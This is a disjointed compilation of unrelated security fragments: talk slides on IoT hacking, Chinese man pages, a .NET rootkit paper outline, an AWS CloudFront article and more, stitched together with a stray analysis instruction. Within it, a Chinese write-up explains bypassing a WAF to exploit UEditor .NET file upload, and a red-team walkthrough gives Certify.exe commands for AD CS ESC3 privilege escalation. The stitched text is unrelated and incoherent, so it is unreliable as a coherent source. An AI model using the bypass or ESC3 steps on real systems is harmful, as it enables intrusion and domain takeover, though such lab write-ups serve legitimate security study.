https://www.ithome.com.tw/news/129449 Number of IoT malware infections rising rapidly, with no end in sight IoT Malware Wreaking Havoc Infect Spread Cyber Attacks Infect, Spread and leverage for use in attacks Victims unknowingly become attackers IoT Malware Infections and Associated Damages Regulations by Government 2019 Order of the Ministry of Internal Affairs and Communications No. 12 Partial revision to Telecommunications Business Act and Act on the National Institute of Information and Communications


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所有操作均在授权项目中进行 一天下午好兄弟发来一个 ueditor 环境存在.net 任意文件上传一起看下存在创某盾 waf 0x01 把所有常用办法都测试例如 uri 填充post 填充大并发参数混淆参数 fuzz 等等都测试 过后均失败 后 fuzz 其他扩展名发现 cerasmxshtml 可以上传其他 ashx 什么的拦截 其中 cer 创某盾禁止访问asmx 文件试了很多个文件访问均 500 报错谷歌后似乎是因为 要.net4.6 以上才默认支持 asmx不知道与 iis10 版本有没有关系 尝试 shtml exec 执行命令提示 包含文件报错谷歌说原因是读取的路径或者文件中含有中文此处暂时放下 打印环境变量成功由此知道了目标中间件是 iis10 和其它信息 到这里思路又卡住了花了很多时间回去继续 fuzz 参数等等 0x02 没招了找分析文章看这个漏洞的原理发现大部分文章都是抄 Ivan1ee 的文章并没讲的 很清楚只是复现下在讲下大概原理就没了于是下载了.net 版源码跟流程 /net/controller.ashx 这里实例化 CrawlerHandler 类跟进这个类 /net/App_Code/CrawlerHandler.cs 第一红色箭头判断了传入 url 访问后 response 头有无图片头这里如果我们把我们的站点所 有请求均加入图片头直接传入 aspx 一样可以下载原 poc:1.jpg?.aspx 只是用图片马方便绕 过图片头判断 第二红色箭头是漏洞代码所在由其处理最关键的 path其他抄文章的到这里就是一句话 说这个函数存在漏洞就没了为了搞清楚究竟路径是如何处理的跟进该函数 /net/App_Code/PathFormater.cs 这里两个红色箭头处才是漏洞根源invalidPattern.Replace 通过正则去除了路径中的部分特 殊字符将匹配的字符置空这里可以看到正则内共有[\\\/\:\*\?\042\<\>\|]这么多字符都 可以置空 第二个箭头到了 extention 处就是指定文件扩展名的GetExtension()这个函数是自带函数用 于获取最后的扩展名 以原 poc 为例子漏洞原理为 1.jpg?.aspx 到了 invalidPattern.Replace 处通过正则替换后成 为 1.jpg.aspx 后经过 GetExtension()得到扩展名 aspx 最后 return 处理后的路径及扩展名 经上面得知正则支持很多替换马上去试了结果还是拦截掉了 根据这个正则又 fuzz 了下还是拦截这时候快十二点了暂时又没了思路再看看代码什 么的又花了半个多小时之后突然想到既然 PathFormater 可以帮忙把特殊符号置空自 己直接通过特殊符号拼接 aspx 关键字不就能绕过了再去操作下 构造 poc已经成功用这个思路还有类似的 poc 可以绕过这里不再贴图 0x03 绕过 测试时猜测 waf 后端的规则的粒度应该控制到具体漏洞级别了针对不同漏洞有不同的规 则如把 uri 中的 action 删除就不会拦截这时候应该规则就匹配不到 ue 这个漏洞规则所 以不会拦截 优点细粒度的规则最大程度避免了对生产业务的干扰 缺点针对不同漏洞需要花很多精力根据漏洞代码做细致规则否则可能就像 ue 通过源码 中的代码逻辑构造不常见的利用方式就可完成绕过 总结从代码里面构造新的 poc 是一种快捷的思路 0x04 防御 针对正则表达式处增加对应的规则修补 Ref: https://forums.iis.net/t/1241946.aspx?Setting+up+IIS+10+for+ASMX+service https://www.freebuf.com/vuls/181814.html


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New Techniques for Discovering Smart Device Vulnerabilities 小灰灰 / Xiaohuihui Baidu Security Lab Senior Security Researcher 30-May2019 2 Who am I Senior Security Researcher at Baidu Security Lab Research areas: IoT security / AI security / autopilot vehicle security Experienced hardware cracker Previously Responsible For:  BSRC, incident response, 0-day analysis  Baidu product security assessment  Baidu security monitoring system construction Traditional IoT Device Cracking Router Firmware download Binwalk unpacking Finding problematic bin(why?) IDA analysis, WEB script file analysis Vulnerability verification (real machine or QEMU test) Most of them seem to be Vulnerability Analysis Now  We have a lot more different IoT devices, not just routers Large manufacturers wont let you easily crack the devices:  Firmware is not available for download  Telnet, serial port, ADB are all closed  Theres no way to get started What do we do? ? ? The Structures Are Similar OS and Hardware Full Android and Linux versions, ARMv5/6/7/x86 processors, EMMC/EMCP/NAND memory Openwrt Linux with microkernel, ARM, MIPS processor, NAND/SPI Flash memory RTOS Linux that has real-time operating systems with microkernel, ESP Lexin, Arduino system-on-chip, AVR, STM32 series, SPI Flash memory Application Scenarios Smart Speakers, Smart Watches, Vending Machines, TV boxes, Smart TVs, Smart Billboards, Vehicle System Router, Mini Smart Speaker, Smart Camera Smart Lock, Smart Rice Coker, Smart Socket, Smart Lamp, Smart Bracelet Features More features, more memory space, great platform for developing apps, most of them carry a large screen Simple but have advanced features, large screen is not necessary/only small screen is needed Function is simple but can be controlled via network, analogue electronics are not feasible. Step 0: Teardown! Be clear about what to do and where to go  What are the chip solutions? What we can do?  What to do when we get stuck? Look for chip model information and datasheet


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.TH ACCESS 1 "4 January 1998" "Kpathsea 3.3.1" .\"===================================================================== .if n .ds MP MetaPost .if t .ds MP MetaPost .if n .ds MF Metafont .if t .ds MF M\s-2ETAFONT\s0 .if t .ds TX \fRT\\h'-0.1667m'\\v'0.20v'E\\v'-0.20v'\\h'-0.125m'X\fP .if n .ds TX TeX .ie t .ds OX \fIT\v'+0.25m'E\v'-0.25m'X\fP\" for troff .el .ds OX TeX\" for nroff .\" the same but obliqued .\" BX definition must follow TX so BX can use TX .if t .ds BX \fRB\s-2IB\s0\fP\*(TX .if n .ds BX BibTeX .\" LX definition must follow TX so LX can use TX .if t .ds LX \fRL\\h'-0.36m'\\v'-0.15v'\s-2A\s0\\h'-0.15m'\\v'0.15v'\fP\*(TX .if n .ds LX LaTeX .\"===================================================================== .SH NAME(名称) access \- 确定文件是否可以存取访问 .SH SYNOPSIS(总览) .B access .I -mode .I file .\"===================================================================== .SH DESCRIPTION (描述) 如果 .I file 可以在特定模式下存取访问,那么成功退出. .I mode 为 .IR rwx 中的一个或多个字符, 这里的 .I r 表示可读, .I w 表示可写,而 .I x 表示可执行. .PP .B access 和 .B test 之间的区别在于 后者查看权限位,而前者使用 .BR access (2) 系统调用进行检查.当文件系统以只读方式被挂载时,两者就有区别了. .\"===================================================================== .SH OPTIONS(选项) .B access 接受以下附加的选项: .TP .B --help 打印帮助信息并退出. .TP .B --version 打印版本信息并退出. .\"===================================================================== .SH "SEE ALSO"(另见) .BR access (2) .SH "[中文版维护人]" .B riser <email> .SH "[中文版最新更新]" .BR 2003.11.22 .SH "中国linux论坛man手册页翻译计划:" .BI http://cmpp.linuxforum.net


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.\" 版权所有 The USENET Community Trust, 1988-1995. .\" 中文版版权所有 Liu JingSong, www.linuxforum.net 2000 .\" 本文档可在遵照LDP GENERAL PUBLIC LICENSEVersion 1, September 1998 .\" 中描述的条件下进行复制,且该文件发布时必须包含该文档 .TH LISTALIAS 1 "Elm Version 2.5" "USENET Community Trust" .SH NAME listalias \- 列出用户和系统别名 .SH 总揽 .B listalias [ -s | -u ] [ 正则表达式] .SH 描述 .I Listalias 按用户及系统别名每个输出一行每行具有下列格式 .nf <别名> <地址> (<注解>) .fi 如果采用了正则表达式选项则只有与指定表达式匹配的别名才被列出 如果未采用正则表达式所有别名将被列出 .sp 在两种方式下命令的输出都被排序 .SH 选项 .TP .B \-s 只输出系统别名 .BR \ \-s \ 和 \ \-u 两个选项为互斥关系即两个选项只能选一个 .TP .B \-u 只输出用户别名 .BR \ \-s \ 和 \ \-u 两个选项为互斥关系 .SH 作者 Elm 开发小组 .SH 参见 checkalias(1L), elm(1L), elmalias(1L), newalias(1L) .SH 缺陷 由于该程序通过管道调用了另一个程序egrep, 因此表达式的检查结果由egrep决定而非这个程序自己决定 .SH 程序错误报告至 Bill Pemberton flash@virginia.edu .SH "[中文版维护人]" .B Liu JingSong <js-liu@263.net> .SH "[中文版最新更新]" .B 2001/05/02 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net


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.NET Framework Rootkits  Backdoors Inside Your Framework 1 .NET Framework Rootkits: Backdoors inside your Framework March, 2009 (Revised) Erez Metula ErezMetula@2bsecure.co.il ErezMetula@gmail.com .NET Framework Rootkits  Backdoors Inside Your Framework 2 Table of content TABLE OF CONTENT .........................................................................................................................2 ABSTRACT ............................................................................................................................................3 INTRODUCTION..................................................................................................................................4 HOW CAN THE FRAMEWORK BE CHANGED?..........................................................................................4 MODIFYING THE FRAMEWORK CORE .......................................................................................6 OVERVIEW - STEPS & TOOLS FOR CHANGING THE FRAMEWORK...........................................................6 LOCATE THE DLL IN THE GAC ............................................................................................................6 ANALYZE THE DLL..............................................................................................................................7 DECOMPILE THE DLL USING ILDASM ...................................................................................................9 MODIFYING THE MSIL CODE .............................................................................................................10 RECOMPILE THE DLL USING ILASM....................................................................................................11 BYPASSING THE GAC STRONG NAME MODEL....................................................................................11 REVERTING BACK FROM NGEN NATIVE DLL....................................................................................14 ROOTKIT DEVELO


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Smartfuzzing the Web Carpe Vestra Foramina Friday, June 24, 2011 Out of Date  This presentation is out of date.  Grab an updated copy from our Google Code Page  http://code.google.com/p/raft 2 Friday, June 24, 2011 Who are we?  Nathan "Nate Dawg" Hamiel  Gregory "G-Fresh" Fleischer  Seth "The Law" Law  Justin "J-Roc" Engler Friday, June 24, 2011 Presentation Overview  Problems with current tools  Current workarounds  Proposed solutions  RAFT Friday, June 24, 2011 Testing Tools Are Lacking  Semi-automated web testing tools can be pretty dumb o Pick your poison, each one falls down at some point o Session data stays stale o State maintenance sucks or non-existent o Can't handle things beyond simple applications o Don't allow the import of externally-collected data  What about modern technologies? o CSRF Tokens o Randomized DOM variables o RIA apps o Web services o JS/AJAX Friday, June 24, 2011 The Problems Continue  Typically no analysis is performed o Testing responses alone may contain a treasure trove of vulnerabilities that are not currently identified o Analysis only runs on current request, what about all the old data? o Just because HTTP is stateless, doesn't mean our analysis has to be. o No vulnerability or sensitive data identification  Testers don't need abstraction o APIs and difficult formats  Missing simple features o Request time Friday, June 24, 2011 And Continue Again  Difficult cases o Risk based logins o Login confirmation on next step o In-session detection Friday, June 24, 2011 And Continue Yet Again  External tools and custom scripts o Can be painful o No analysis o Request/response diffs o Syntax highlighting (duh)? o Full request/response logging  Data in multiple tools o No cross-tool analysis o Archiving problems with collected data o Limited ability to find "new" bugs in old data Friday, June 24, 2011 What Do People Do?  Test manually o First of all, Yuck! o Modify other tools for purposes which they weren't intended o Write custom tools and


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Embedded System Design: From Electronics to Microkernel Development Rodrigo Maximiano Antunes de Almeida E-mail: rmaalmeida@gmail.com Twitter: @rmaalmeida Universidade Federal de Itajubá Creative Commons License The work Embedded System Design: From Electronics to Microkernel Development of Rodrigo Maximiano Antunes de Almeida was licensed with Creative Commons 3.0  Attribution  Non Commercial  Share Alike license. Additional permission can be given by the author through direct contact using the e-mail: rmaalmeida@gmail.com Workshop schedule  Electronic building  Board programming  Kernel development Electronic building  Electronics review  Schematics  Protoboard/breadboard  System design  Basic steps  Microcontroller  LCD  Potentiometer Electronics review  http://xkcd.com/730/ Schematics  Way to represent the components and its connections  Each component has its own symbol  Crossing wires only are connected if joined with a dot Protoboard/Breadboard System design  Steps on a generic electronic system design  Define the objective(s)  Choose the main components needed to achieve the objective  Get the use example and recommendations from component datasheet  Build the schematics  Simulation of HW elements  Board layout Datasheets  The main source of information concerning electronics  Presents  Electrical characteristics  Simplified schematics  Use example  Opcodes/API System design  Objective  Build digital voltage reader  Main components  Microcontroller  LCD text display  Potentiometer Microcontroller  System-on-a-chip  Processor  Memory  Input/Output peripherals  Communication  Safety components Microcontroller  Xtal configuration  Reset pin  DC needs  Many peripherals on the same pin LCD Display LCD Display  Data connection  Backlite  Current consumption  Power on time/routine Potentiometer  Linear/Log  Used as voltage divisor  Need an analog input  Filter System design  Cad tool: Fritzing (fritzing.org) 1  Hands On! Board programming  Programmer  IDE  Basic co


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--- title: 未配置默认根对象的风险简单分析 ---
AWS CloudFront 未配置默认根对象的风险简单分析
 --- ## 0x00 前言 AWS CloudFront 简单理解就是 AWS 的 CDN 服务在 AWS 安全标准和最佳实践中AWS 官方将 CloudFront 未配置默认根对象这个问题定级为严重这里来学习了解一下这个问题 ## 0x01 介绍 我一般在直接看他们官方介绍的时候第一眼往往会让人摸不着头脑再仔细看看才会明白所表达的意思不知道是不是因为翻译的问题这里谈谈我所消化的理解 要明白默认根对象可以先看个例子一般当我们在浏览器里输入访问一个网站时比如 `teamssix.com`实际上浏览器打开的是 `teamssix.com/index.html` 这里的 `index.html` 就是默认根对象 所以默认根对象其实就是指当我们访问一个网站根目录时这个网站所默认跳转指向的对象故而叫默认根对象 在使用 CloudFront 时如果不配置默认根对象就意味着当我们访问 `teamssix.com` 时就真的会访问 `teamssix.com`而不是 `teamssix.com/index.html`这时用户如果想浏览这个网站就需要自己拼接 `/index.html` 路径到 URL 中了 ## 0x02 简单分析 根据官方的描述不配置默认根对象对和 S3 相关的 CloudFront 影响比较多首先这里先创建一个 S3然后再创建一个和 S3 关联的 CloudFront创建完成后CloudFront 会分配给我们一个 URL 地址通过这个地址就可以访问到 S3 服务了 > 实际上这里的描述是不太准确的为了帮助理解我简化了这里的描述 前面说过当没有配置默认根对象的时候我们访问一个网站的根目录真的就是在访问它的根目录那么这时我们访问刚才 CloudFront 分配给我们的地址看看会是什么

 可以看到和直接访问 S3 根目录是一样的效果如果此时 S3 存在列举对象的风险的话那么在没有配置默认根对象的时候直接访问 CloudFront 分配地址看到的就是这样的效果

 > 这个页面中泄漏了 S3 存储桶的名字即这个地址所对应的 S3 真实地址 但如果我们把默认根对象配置成了 index.html再次访问 CloudFront 分配的地址就是这样子这才是预期的展示效果

 ## 0x03 总结 综上分析配置默认根对象可以在一定程度上避免以下问题 1. 减少 S3 的攻击面 2. 避免真实的 S3 地址泄漏 3. 避免潜在的安全风险和漏洞 4. 避免默认起始页混乱使 CloudFront 能更好的处理客户端请求提升访问者体验 不管是什么问题其影响程度还是需要根据实际情况去具体分析毕竟在某些情况下这个问题有可能会造成很大的影响在某些情况下这个问题可能不会造成啥影响 最后其实还是有一些疑惑在 AWS 安全标准和最佳实践中定级为严重的问题是很少的这个未配置默认根对象的问题我个人觉着定级为高危或者中危应该是比较合理的对于这个问题如果你还知道一些其他的信息欢迎一起沟通 **参考链接** - 什么是 Amazon CloudFront [https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Introduction.html) - 指定默认根对象 [https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DefaultRootObject.html](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DefaultRootObject.html) - CloudFront distributions should have a default root object configured [https://docs.aws.amazon.com/securit


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针对域证书服务的攻击3- ESC3 0x01 前言 在ESC1的利用的时候好多小伙伴遇到一个错误借用@Rcoil同学的图解决方法也在星球有@Rcoil 同学形成的文档遇到这个错误的同学可以去看下这个错误主要是因为2016以下的系统不支持这个 COM接口因此需要改下代码我开始以为是证书服务器16以下会出这个问题但是我自己搭建12系统 的证书服务器环境发现并没有报错因此我怀疑是域控在16以下这算一个遗留问题具体这个请求是 发送到域控还是证书服务器需要后面分析先mark下 回归正题今天时ESC3的分析ESC3主要滥用的是错误配置了证书申请代理模板Enrollment Agent Templates听名字你也清楚就是一个用户代替另一个用户去申请证书这个一听头脑里的利用 方案就出来了一个普通域用户代替域管理员去申请证书我们具体看下需要怎样的错误配置 模板Enrollment Agent Templates允许一个低权限用户这里我们使用普通域用户去注册一 个代理证书 这个条件和ESC1差不多不需要设置使用者名称为在请求中提供以及在扩展中修改应用程 序策略的EKU为证书申请代理OID1.3.6.1.4.1.311.20.2.1 另外一个模板允许一个低权限用户使用代理证书enrollment agent certificate去代表另外一个 用户请求证书并且这个模板的EKU里配置有允许域认证的EKU 这里有点绕啊不用担心我们老规矩配置环境 0x02 危害环境配置 这里涉及到2个模板我们先配置第一个模板还是在ESC1的基础上配置安全中的配置不变还是配置 了一个domain users组来满足低权限访问这里在实战中要举一反三以我们当前权限为出发点如 果我们当前有一个其他权限而刚好有个一个危害模板在这个权限下能够访问就满足了这个条件而 不是非要domain users的权限使用者名称改回默认的用Active Directory中的信息生成重点修改的 还是扩展中的应用程序策略改为证书申请代理 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-17 No. 1 / 7 - Welcome to www.red-team.cn 第二个模板我们还是在ESC1上设置名称改为ESC3_1在ESC1的基础上安全不用改使用者名称恢复 默认的用Active Directory中的信息生成扩展也不用改保留里面的客户端认证EKU下面的修改是 和以往不同的 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-17 No. 2 / 7 - Welcome to www.red-team.cn 这就是ESC3的2个模板了这需要注意的是你看我一项一项的配置感觉修改的很多大多不是默 认其实不然系统默认模板很多不同配置在不同默认模板中都有默认配置因此我们只需要搞清楚 每个ESC(权限提升)的各个关键配置点理解里面的各个配置的作用在实战中才能灵活运用 0x03 工具利用 Certify.exe find /vulnerable Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-17 No. 3 / 7 - Welcome to www.red-team.cn 这是第一个模板还有第二个模板你会发现这个命令并没有识别出ESC3_1的模板因此使用这个工具 的时候也要注意了不要只用上面的命令查看是否有危害工具不是万能的我们使用 这个命令查看证书服务器上可用的所有模板其中ESC3_1满足我们利用的第二个条件: 首先我们利用ESC3模板获取一个代理证书 Certify.exe find /ca:"win2019.redteamlab.com\redteamlab-WIN2019-CA" Certify.exe request /ca:"win2019.redteamlab.com\redteamlab-WIN2019-CA-1" /template:ESC3 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-17 No. 4 / 7 - Welcome to www.red-team.cn 老规矩pem转pfx这一步我就略去了还不会的同学看前2面文章然后再利用ESC3_1模板去获取 特权证书其中onbehalfof参数一定要使用NETBIOS名xiaoaitiredteamlab\xiaoaiti redteamlab.com\xiaoaiti都不行一定要是REDTEAMLAB\xiaoaiti具体原因可能是工具限制这儿搞


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Tell me who you are and I will tell you your lock pattern Marte Løge 23 years, Norway MSc. Computer Science @NUTS Developer @Itera Humans are predictable! How Many Combinations does the Android Lock Pattern Have? 389,112 Length #Combina/ons 4 1624 5 7152 6 26,016 7 72,912 8 140,704 9 140,704 Total 389,112 The Survey Visual Complexity Complexity: [6.3, 46.8] 27.0 46.8 6.34 20.78 All patterns: 13.6 Smartphones: 12.8 Highest score: 44.4 Max score: 46.8 Associations Elements Start node Handedness Right-handed (1) (2) Left-handed (1) (2) 3-gram Sequences Average Pattern Length Women Men ? Questions? Marte Løge @marteloge marte.loge@itera.no